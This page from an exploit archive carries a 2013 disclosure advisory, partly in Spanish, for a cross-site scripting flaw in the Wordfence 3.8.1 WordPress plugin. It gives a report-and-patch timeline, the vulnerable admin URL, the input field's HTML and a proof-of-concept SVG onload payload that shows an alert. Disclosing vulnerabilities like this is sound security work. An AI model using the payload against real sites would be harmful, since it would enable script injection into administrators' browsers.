Home / exploitsPDF  

WordPress Wordfence 3.8.1 Cross Site Scripting

Posted on 29 August 2013

<pre># Exploit Title: Wordpress Plugin Wordfence 3.8.1 - Cross Site Scripting
# Date: 28 de Agosto del 2013
# Exploit Author: Dylan Irzi
# Credit goes for: websecuritydev.com
# Vendor Homepage: http://www.wordfence.com/
# Tested on: Win8 &amp; Linux Mint
# Affected Version : 3.8.1 &amp; Anteriores.
# Contacts: { https://twitter.com/Dylan_irzi11 , http://websecuritydev.com/}
# Greetz: All team WebSecuritydev, SeguridadBlanca (Dedalo)
http://seguridadblanca.in/
#########################################

Timeline:
- 21 De agosto XSS Encontrado y Reportado.
- 27 de Agosto Reponden y Confirman Vulnerabilidad
- 28 De Agosto Publican Parche de Vulnerabilidad.
- 28 de Agosto Divulgacion y Hago publica la vulnerabilidad.
Changelog: http://wordpress.org/plugins/wordfence/changelog/

#########################################

Affected items - Archivos Afectados.

http://localhost/wordpress/wp-admin/admin.php?page=WordfenceWhois

Prueba de Concepto PoC:
Vector: &quot;&gt;&lt;svg/onload=alert(/Dylan/)&gt;

Input: &lt;input id=&quot;wfwhois&quot; type=&quot;text&quot; onkeydown=&quot;if(event.keyCode == 13){
WFAD.whois(jQuery('#wfwhois').val()); }&quot;

maxlength=&quot;255&quot; size=&quot;40&quot; value=&quot;&quot; name=&quot;whois&quot;&gt;

#########################################

-- 
*By Dylan Irzi
@Dylan_Irzi11
Pentest de Seguridad.
WhiteHat.
*
</pre>

 

TOP

Malware :

Exploits :